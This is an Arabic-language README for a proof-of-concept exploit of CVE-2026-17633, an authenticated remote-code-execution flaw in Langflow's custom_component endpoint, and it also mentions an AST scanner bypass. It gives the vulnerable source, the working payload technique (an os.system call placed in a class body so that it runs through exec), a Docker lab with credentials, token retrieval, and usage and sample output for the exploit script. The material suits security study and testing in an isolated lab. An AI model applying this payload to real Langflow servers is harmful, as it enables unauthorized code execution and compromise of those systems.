
PoC لـ CVE-2026-17633 — تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في IBM Langflow OSS 1.0.0–1.10.3 عبر نقطة نهاية custom_component. يتضمن بحث تجاوز ماسح AST الخاص بـ CVE-2026-17632.
لأغراض تعليمية فقط. لا تستخدمه إلا ضد الأنظمة التي تملكها أو لديك تفويض كتابي صريح لاختبارها.
Langflow هو منصة مفتوحة المصدر منخفضة الكود (low-code) لبناء تطبيقات مدعومة بنماذج اللغة الكبيرة (LLM) وسير عمل وكلاء الذكاء الاصطناعي. يوفر واجهة مرئية بالسحب والإفلات حيث يمكن للمستخدمين ربط المكونات — النماذج، أدوات الاسترجاع، الأدوات، الذاكرة، كود Python المخصص — في تدفقات قابلة للتنفيذ. تتيح ميزة المكوّن المخصص (Custom Component) للمستخدمين تعريف سلوك المكوّن مباشرةً بلغة Python، وهو سطح الهجوم المستغل في هذا البحث.
في 5 أغسطس 2026، نشرت IBM نشرة أمنية تكشف عن مجموعة من الثغرات التي تؤثر على إصدارات Langflow OSS من 1.0.0 حتى 1.10.3. النشرة الكاملة متاحة على:
يركز هذا البحث على ثغرتين من تلك الدفعة:
| CVE | CVSS | الملخص |
|---|---|---|
| CVE-2026-17633 | 8.5 HIGH | تنفيذ كود عن بُعد (RCE) بعد المصادقة عبر /api/v1/custom_component — يُمرَّر الكود مباشرةً إلى exec() دون أي فحص أمني |
| CVE-2026-17632 | 8.8 HIGH | تجاوز ماسح الأمان AST — كود Python مُصمَّم يمر عبر scan_code_security() مع is_safe: True بينما ينفّذ أوامر نظام تشغيل عشوائية |
تم اكتشاف كلتا الثغرتين بشكل مستقل من خلال تحليل الكود المصدري الساكن لـ Langflow 1.10.3.
أُجري هذا البحث في بيئة مختبر معزولة ضد نسخة Langflow مستضافة ذاتيًا. جميع النتائج مُفصح عنها بمسؤولية. لا تستخدم هذا ضد أنظمة دون تفويض كتابي صريح.
نقطة النهاية POST /api/v1/custom_component في Langflow OSS 1.0.0–1.10.3 تقبل كود Python عشوائي من مستخدم مُصادَق عليه وتنفّذه على الخادم عبر دالة exec() في Python. على عكس مسار Agentic Assistant، لا تستدعي نقطة النهاية هذه scan_code_security() أو أي مدقّق محتوى آخر قائم على AST قبل التنفيذ. يمكن لأي مستخدم مُصادَق عليه تحقيق تنفيذ كود عن بُعد (RCE) بطلب HTTP واحد.
CWE-94 — التحكم غير السليم في توليد الكود
/api/v1/custom_componentالمصدر: langflow/api/v1/endpoints.py — السطر 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
عندما يكون LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true (وهو أمر شائع في عمليات النشر الإنتاجية)، يذهب الكود مباشرةً إلى build_custom_component_template() مع عدم فحص المحتوى إطلاقًا.
prepare_global_scope() و ast.Exprيؤدي سلسلة التنفيذ إلى create_class() في lfx/custom/validate.py، والتي تستدعي prepare_global_scope() قبل تجميع الفئة وتنفيذها:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
استدعاء دالة مجرّد على مستوى الوحدة (مثل os.system(...)) هو عقدة ast.Expr — لا يطابقه فحص isinstance ويُهمَل بصمت. ومع ذلك، فإن الكود الموضوع داخل جسم الفئة هو جزء من عقدة ClassDef ويُنفَّذ بالكامل عند تعريف الفئة عبر exec() داخل compile_class_code().
هذه هي الرؤية الأساسية: يجب أن يكون الحمولة داخل جسم الفئة، وليس على مستوى الوحدة.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
لا حاجة إلى LLM. لا حاجة إلى تجاوز الماسح. طلب HTTP واحد.
| المتطلب | القيمة |
|---|---|
| نظام التشغيل المضيف | Kali Linux (مُختبَر) |
| Docker | CE 5.x + إضافة Compose v2 |
| صورة Langflow | langflowai/langflow:1.10.3 |
| الذاكرة العشوائية | 4 GB كحد أدنى للحاوية |
أنشئ دليلًا للمختبر واحفظ ما يلي باسم docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
ابدأ المختبر:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
سجّل الدخول إلى http://127.0.0.1:7860 باستخدام بيانات اعتماد المستخدم الخارق المحددة أعلاه. يُخزَّن رمز الوصول في ملف تعريف ارتباط المتصفح access_token_lf. بدلًا من ذلك، استرجعه عبر API:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
انسخ قيمة access_token من الاستجابة.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
المخرجات المتوقعة:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200